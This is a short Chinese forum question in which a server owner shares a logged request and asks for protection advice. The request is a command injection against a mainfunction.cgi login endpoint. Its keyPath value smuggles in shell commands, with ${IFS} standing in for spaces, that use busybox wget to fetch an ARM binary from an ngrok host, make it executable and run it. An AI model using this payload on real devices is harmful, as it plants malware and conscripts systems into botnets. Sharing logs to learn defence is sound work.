这又是被扫描了么？

Question

这一条服务器被访问的记录，隐去了真实域名。
发出来的目的是分享。
求点防护知识吧。

http://api.xxx.com/cgi-bin/mainfunction.cgi?action=login&keyPath='
/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'
'&loginUser=a&loginPwd=a",%20"referer":%20"-",%20"request":%20"POST%20/cgi-bin/mainfunction.cgi?action=login&keyPath='
/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'
'&loginUser=a&loginPwd=a%20HTTP/1.1